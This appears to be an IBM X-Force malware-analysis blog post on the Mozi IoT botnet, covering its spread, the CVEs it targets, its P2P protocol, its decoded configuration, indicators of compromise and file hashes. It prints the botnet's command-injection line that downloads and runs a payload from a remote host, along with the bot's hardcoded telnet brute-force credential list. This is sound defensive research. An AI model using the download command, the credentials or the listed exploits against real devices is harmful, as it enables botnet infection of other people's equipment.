A relatively new player in the threat arena, the Mozi botnet, has spiked among Internet of things (IoT) devices, IBM X-Force has discovered.

This malware has been active since late 2019 and has code overlap with Mirai and its variants. Mozi accounted for nearly 90% of the observed IoT network traffic from October 2019 through June 2020.

This startling takeover was accompanied by a huge increase in overall IoT botnet activity, suggesting Mozi did not remove competitors from the market. Rather, it flooded the market, dwarfing other variants’ activity. Overall, combined IoT attack instances from October 2019, when attacks began to notably increase, through June 2020 is 400% higher than the combined IoT attack instances for the previous two years.

This surge in IoT attacks could be due to a number of causes, but may in part result from an ever-expanding IoT landscape for threat actors to target. There are about 31 billion IoT devices deployed around the globe, and the IoT deployment rate is now 127 devices per second.

Attackers have been leveraging these devices for some time now, most notably via the Mirai botnet. IBM X-Force Incident Response and Intelligence Services (IRIS) team has been following it for nearly four years. So why the sudden jump? IBM research suggests Mozi continues to be successful largely through the use of command injection (CMDi) attacks, which often result from the misconfiguration of IoT devices. The continued growth of IoT usage and poor configuration protocols are the likely culprits behind this jump. This increase may have been fueled further by corporate networks being accessed remotely more often due to COVID-19.

IoT Devices Are Everywhere

An IoT botnet can be used to perform distributed denial-of-service (DDoS) attacks, steal data and send spam. There are a plethora of different types of IoT devices to exploit:

  • Consumer IoT: Home-based devices, such as security cameras, lighting control, appliances, etc.
  • Commercial IoT: Devices designed for use in various industries. For instance, healthcare has internet-connected pacemakers and monitors. The transportation and construction industries use devices associated with vehicle trackers, telematics, logistic and supply chain systems and building information modeling.
  • Enterprise IoT: Devices designed for use in offices, such as projectors, routers, security systems and digital advertising.
  • The Industrial IoT: Industrial control systems, production line automation systems, logic controllers and aircraft systems.
  • Infrastructure IoT: Smart city management systems, traffic control devices, utility monitoring devices, etc.
  • Internet of Military Things: Wearable combat biometrics devices, robots and surveillance equipment.

This large attack surface leaves organizations vulnerable to IoT botnets. Couple that with the security holes these devices often have out of the box and lax hardening practices upon deployment. The most notable vulnerability in the IoT comes via CMDi attacks.

CMDi Attacks Deliver Mozi Botnet

Nearly all IBM-observed IoT targeting attempted to use CMDi attacks to gain initial access to the device. If the targeted endpoint was an IoT device and is susceptible to these attacks, the payload was downloaded and executed.

CMDi attacks are extremely popular against IoT devices for several reasons. First, IoT embedded systems commonly contain a web interface and a debugging interface left over from firmware development that can be exploited. Second, PHP modules built into IoT web interfaces can be exploited to give malicious actors remote execution capability. And third, IoT interfaces often are left vulnerable when deployed because administrators fail to harden the interfaces by sanitizing expected remote input. This allows threat actors to input shell commands such as “wget”.

Our analysis revealed the Mozi botnet leverages CMDi by using a “wget” shell command, then altering permissions to allow the threat actor to interact with the affected system. For example:

wget http://xxx.xx.xxx.xxx/bins/mozi.a -o /var/tmp/mozi.a; chmod 777 /var/tmp/mozi.a; rm -rf /var/tmp/mozi.a

If the host was vulnerable to CMDi, this command would download and execute a file called “mozi.a.” Our analysis of this particular sample indicates the file executes on microprocessor without interlocked pipelined stages (MIPS) architecture. This is an extension understood by machines running reduced instruction set computer (RISC) architecture, which is prevalent on many IoT devices. Once the attacker gains full access to the device through the botnet, the firmware level can be changed and additional malware can be planted on the device.

Although this example cites a well-known vector, it can continue to be effective for two main reasons. First, new vulnerabilities allow for constant updating of exploitation attempts via CMDi, and slow patch implementation can be exploited. Secondly, this activity is easily automated, allowing threat actors to hit a broad swath of devices quickly at low cost.

The Mozi botnet infrastructure appears primarily sourced in China, accounting for 84% of observed infrastructure. This fact aligns with other open-source research into IoT activity in 2020.

Below is a list of vulnerabilities IBM has observed the Mozi botnet attempting to exploit:

Vulnerability Affected Device
CVE-2017-17215 Huawei HG532
CVE-2018-10561 / CVE-2018-10562 GPON Routers
CVE-2014-8361 Devices using the Realtek SDK
Eir D1000 Wireless Router RCI Eir D1000 Wireless Router
CVE-2008-4873 Sepal SPBOARD
CVE-2016-6277 Netgear R7000 / R6400
Netgear setup.cgi unauthenticated RCE Netgear DGN1000
MVPower DVR Command Execution MVPower DVR TV-7104HE
CVE-2015-2051 D-Link Devices
D-Link UPnP SOAP Command Execution D-Link Devices
CCTV-DVR Vendors RCE Multiple CCTV-DVR Vendors
Scroll to view full table

Mozi Botnet Technical Analysis

The Mozi botnet is a peer-to-peer (P2P) botnet based on the distributed sloppy hash table (DSHT) protocol, which can spread via IoT device exploits and weak telnet passwords.

Upon execution, the Mozi botnet attempts to bind local UDP port 14737. The sample reads /proc/net/tcp or /proc/net/raw to find and kill processes that use ports 1536 and 5888. The sample checks whether the file /usr/bin/python exists. If it exists, the sample changes its process name to sshd. Otherwise, the sample changes it to dropbear.

The Mozi botnet is known to have at least two unique characteristics. It uses ECDSA384 (elliptic curve digital signature algorithm 384) to verify its integrity. Additionally, it reuses parts of the Gafgyt code.

It contains hardcoded DHT public nodes, which can be used to join the P2P network. These nodes are:

dht[.]transmissionbt[.]com:6881
router[.]bittorrent[.]com:6881
router[.]utorrent[.]com:6881
bttracker[.]debian[.]org:6881
212[.]129[.]33[.]59:6881
82[.]221[.]103[.]244:6881
130[.]239[.]18[.]159:6881
87[.]98[.]162[.]88:6881
Scroll to view full table

The Mozi botnet contains four major capabilities. It can conduct DDoS attack (HTTP, TCP, UDP); carry out command execution attack; download malicious payload from specified URL and execute it; and gather bot information.

File Listing

The table below contains high-level details about the files analyzed. The details include both submitted files and residual files. (Residual files are files that are extracted statically or dynamically during malware analysis.) Data includes the file name, the file category as determined by analysis, file hash and file parentage in relation to the other files in the table.

File Name File Category File Hash Parent
mozi.m Botnet 4dde761681684d7edad4e5e1ffdb940b N/A
5738f1bc69e78d234dd04e2fbfcfb4b86403fc9117b133cf1bb7cda67e7aef0a Botnet 86d42d968d3d12c36722e16c78e49ffb mozi.m
mozi.a Botnet 9a111588a7db15b796421bd13a949cd4 N/A
83441d77abb6cf328e77e372dc17c607fb9c4a261722ae80d83708ae3865053d Botnet dd4b6f3216709e193ed9f06c37bcc3890 mozi.a
Scroll to view full table

Behavioral Analysis of the Mozi Botnet

Upon execution, the sample attempts to bind local UDP port 14737. The sample reads /proc/net/tcp or /proc/net/raw to find and kill processes that use ports 1536 and 5888. The sample checks if the file /usr/bin/python exists. If it exists, the sample changes its process name to sshd. Otherwise, the sample changes it to dropbear:

The sample also attempts to update the access control list to block SSH and telnet to prevent other botnets from using them.

iptables -I INPUT  -p tcp –destination-port 22 -j DROP
iptables -I INPUT  -p tcp –destination-port 23 -j DROP
iptables -I INPUT  -p tcp –destination-port 2323 -j DROP
iptables -I OUTPUT -p tcp –source-port 22 -j DROP
iptables -I OUTPUT -p tcp –source-port 23 -j DROP
iptables -I OUTPUT -p tcp –source-port 2323 -j DROP
Scroll to view full table

It also randomly selects hardcoded ports in the iptable:

DHT

The Mozi botnet uses a customized DHT protocol to develop its P2P network. The process of how a new Mozi node joins the DHT network is as follows:

  • A new Mozi node will send an initial HTTP request to http[:]//ia[.]51[.]la to register itself.
  • A new Mozi node sends a DHT find_node query to eight hardcoded DHT public nodes and connects these nodes to join the network. Find node is used to find the contact information for a node given its ID. These eight hardcoded DHT public nodes are as follows:
dht[.]transmissionbt[.]com:6881
router[.]bittorrent[.]com:6881
router[.]utorrent[.]com:6881
bttracker[.]debian[.]org:6881
212[.]129[.]33[.]59:6881
82[.]221[.]103[.]244:6881
130[.]239[.]18[.]159:6881
87[.]98[.]162[.]88:6881
Scroll to view full table

The sample needs to generate an ID for the current node. According to a 360 Netlab report about Mozi, the “ID is 20 bytes and consists of the prefix 888888 embedded in the sample or the prefix specified by the config file [hp], plus a randomly generated string.” The config file is shown below:

[ss]bot[/ss][hp]88888888[/hp][count]http[:]//ia[.]51[.]la/go1?id=19894027&pu=http%3a%2f%2fbaidu.com/[idp][/count] 
Scroll to view full table

To join the DHT network, the sample sends a ping query to these hardcoded DHT public nodes. The ping query with node ID is shown in the traffic in the Wireshark figure below.

Static Analysis

Both samples are packed by using a customized UPX packer. It erases the value of p_file_size and p_blocksize to zero in p_info structure.

Configuration File

The sample contains a hardcoded configuration file shown below:

It contains four sections:

  • Blue: configuration data (428 bytes)
  • Green: ECDSA384 signature 1 (96 bytes)
  • Red: Configuration version (4 bytes)
  • Black: ECDSA384 signature 2 (96 bytes)

The configuration data is encoded using a hardcoded XOR key, 4E665A8F80C8AC238DAC4706D54F6F7E. The decoded configuration data is shown below:

[ss]bot[/ss][hp]88888888[/hp][count]http[:]//ia[.]51[.]la/go1?id=19894027&pu=http%3a%2f%2fbaidu.com/[idp][/count] 
Scroll to view full table

The configuration data supports multiple commands that are tagged as follows:

Tag (Command) Description
[ss] Bot role
[ssx] enable/disable tag [ss]
[cpu] CPU architecture
[cpux] enable/disable tag [cpu]
[nd] new DHT node
[hp] DHT node hash prefix
[atk] DDoS attack type
[ver] Value in V section in DHT protcol
[sv] Update config
[ud] Update bot
[dr] Download and execute payload from the specified URL
[rn] Execute specified command
[dip] ip:port to download Mozi bot
[idp] report bot
[count] URL that used to report bot
Scroll to view full table

The Mozi botnet reuses parts of the Gafgyt code in the DDoS attack. It supports multiple DDoS attack types such as HTTP, TCP, and UDP.

ECDSA384 signature 1 is used to verify the configuration data’s hash value. The hardcoded public key used to verify it is:

4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8 
E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53 
22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 
88
Scroll to view full table

It is encoded with XOR key 4E665A8F80C8AC238DAC4706D54F6F7E. The decoded public key is:

02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6 
a7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d 
6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 
c6
Scroll to view full table

Config version determines when to update the bot. It will update the bot when this value is greater than its current value. ECDSA384 signature 2 is used to verify these first three parts of the config file. The hardcoded public key used to verify it is:

4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F 
69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B 
38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 
A1    
Scroll to view full table

It is encoded with XOR key 4E665A8F80C8AC238DAC4706D54F6F7E. The decoded public key is:

02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21 
27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65 
76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea 
ef
Scroll to view full table

Telnet Login Enumeration

In addition to the vulnerabilities the Mozi botnet exploits to obtain access to the victim device, the Mozi botnet can also brute force telnet credentials using a hardcoded list of credentials:

root
admin
CUAdmin
default
rapport
super
telnetadmin
!!Huawei
keomeo
support
CMCCAdmin
e8telnet
e8ehome1
e8ehome
user
mother
Administrator
service
supervisor
guest
admin1
administrator
666666
888888
ubnt
tech
xc3511
vizxv
Pon521
e2008jl
r@p8p0r+
GM8182
gpon
Zte521
hg2x0
epicrouter
conexant
xJ4pCYeW
v2mprt
PhrQjGzk
h@32LuyD
gw1admin
adminpass
xmhdipc
juantech
@HuaweiHgw
adminHW
2010vesta
2011vesta
plumeria0077
cat1029
123456
54321
hi3518
password
12345
fucker
pass
admin1234
1111
smcadmin
1234
klv123
klv1234
zte
jvbzd
anko
zlxx
7ujMko0vizxv
7ujMko0admin
system
ikwb
dreambox
realtek
00000000
1111111
meinsm
Scroll to view full table

One telnet login brute force used by the sample follows:

Indicators

Mozi.m and Mozi.a


Network

dht[.]transmissionbt[.]com:6881
router[.]bittorrent[.]com:6881
router[.]utorrent[.]com:6881
bttracker[.]debian[.]org:6881
212[.]129[.]33[.]59:6881
82[.]221[.]103[.]244:6881
130[.]239[.]18[.]159:6881
87[.]98[.]162[.]88:6881
Scroll to view full table

Notable Strings (unpacked)

8.8.8.8
/proc/net/route
Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)
Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51
Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00
Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0
GET
HEAD
POST
./config
/tmp/config
cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL “http://127.0.0.1″>http://127.0.0.1”
cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword “acsMozi”
iptables -I INPUT  -p tcp –destination-port 35000 -j DROP
iptables -I INPUT  -p tcp –destination-port 50023 -j DROP
iptables -I OUTPUT -p tcp –source-port 50023 -j DROP
iptables -I OUTPUT -p tcp –source-port 35000 -j DROP
iptables -I INPUT  -p tcp –destination-port 7547 -j DROP
iptables -I OUTPUT -p tcp –source-port 7547 -j DROP
[cpux]
[/cpux]
[cpu]
[/cpu]
[ssx]
[/ssx]
[ss]
[/ss]
none
[sv]
[/sv]
[rn]
[/rn]
run:
[nd]
[/nd]
/tmp
/var
/temp
iptables -I INPUT  -p udp –destination-port %d -j ACCEPT
iptables -I OUTPUT -p udp –source-port %d -j ACCEPT
iptables -I PREROUTING  -t nat -p udp –destination-port %d -j ACCEPT
iptables -I POSTROUTING -t nat -p udp –source-port %d -j ACCEPT
0.0.0.0
[idp]
This node doesn’t accept announces
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881
212.129.33.59:6881
82.221.103.244:6881
130.239.18.159:6881
87.98.162.88:6881
Scroll to view full table

Conclusion

The IoT botnet landscape continues to shift, and IBM Security’s data suggests threat actors remain active in this space. As newer botnet groups, such as Mozi, ramp up operations and overall IoT activity surges, organizations using IoT devices need to be cognizant of the evolving threat. IBM is increasingly seeing enterprise IoT devices under fire from attackers. Command injection remains the primary infection vector of choice for threat actors, reiterating how important it is to change default device settings and use effective penetration testing to find and fix gaps in the armor.

File Attributes

Mozi.m Metadata

File Name: Mozi.m
File Size: 108,808
MD5: 4dde761681684d7edad4e5e1ffdb940b
SHA1: 2327be693bc11a618c380d7d3abc2382d870d48b
SHA256: d546509ab6670f9ff31783ed72875dfc0f37fa2b666bd5870eecaaed2ebea4a8
File Type: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Category: Botnet
IRIS Name: Mozi
Other Names:
Scroll to view full table

Mozi.a Metadata

File Name: Mozi.a
File Size: 95,268
MD5: 9a111588a7db15b796421bd13a949cd4
SHA1: 034c8c51a58be11ca620ce3eb0d43d5a59275d2f
SHA256: e15e93db3ce3a8a22adb4b18e0e37b93f39c495e4a97008f9b1a9a42e1fac2b0
File Type: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
Category: Botnet
IRIS Name: Mozi
Other Names:
Scroll to view full table

5738f1bc69e78d234dd04e2fbfcfb4b86403fc9117b133cf1bb7cda67e7aef0a Metadata

File Name: d546_unpacked
File Size: 266,108
MD5: 86d42d968d3d12c36722e16c78e49ffb
SHA1: ba733ab3bfc6b4afcf784f95aa9bee99fb665a71
SHA256: 5738f1bc69e78d234dd04e2fbfcfb4b86403fc9117b133cf1bb7cda67e7aef0a
File Type: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Category: Botnet
IRIS Name: Mozi
Other Names:
Scroll to view full table

83441d77abb6cf328e77e372dc17c607fb9c4a261722ae80d83708ae3865053d Metadata

File Name: 83441d77abb6cf328e77e372dc17c607fb9c4a261722ae80d83708ae3865053d
File Size: 212,464
MD5: dd4b6f3216709e193ed9f06c37bcc389
SHA1: 758ba1ab22dd37f0f9d6fd09419bfef44f810345
SHA256: 83441d77abb6cf328e77e372dc17c607fb9c4a261722ae80d83708ae3865053d
File Type: b’ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped’
Category: Botnet
IRIS Name: Mozi
Other Names:
Scroll to view full table

 

More from Incident Response

Why federal agencies need a mission-centered cyber response

4 min read - Cybersecurity continues to be a top focus for government agencies with new cybersecurity requirements. Threats in recent years have crossed from the digital world to the physical and even involved critical infrastructure, such as the cyberattack on SolarWinds and the Colonial Pipeline ransomware attack. According to the IBM Cost of a Data Breach 2023 Report, a breach in the public sector, which includes government agencies, is up to $2.6 million from $2.07 million in 2022. Government agencies need to move…

X-Force Threat Intelligence Index 2024 reveals stolen credentials as top risk, with AI attacks on the horizon

4 min read - Every year, IBM X-Force analysts assess the data collected across all our security disciplines to create the IBM X-Force Threat Intelligence Index, our annual report that plots changes in the cyber threat landscape to reveal trends and help clients proactively put security measures in place. Among the many noteworthy findings in the 2024 edition of the X-Force report, three major trends stand out that we’re advising security professionals and CISOs to observe: A sharp increase in abuse of valid accounts…

What cybersecurity pros can learn from first responders

4 min read - Though they may initially seem very different, there are some compelling similarities between cybersecurity professionals and traditional first responders like police and EMTs. After all, in a world where a cyberattack on critical infrastructure could cause untold damage and harm, cyber responders must be ready for anything. But are they actually prepared? Compared to the readiness of traditional first responders, how do cybersecurity professionals in incident response stand up? Let’s dig deeper into whether the same sense of urgency exists…

Topic updates

Get email updates and stay ahead of the latest threats to the security landscape, thought leadership and research.
Subscribe today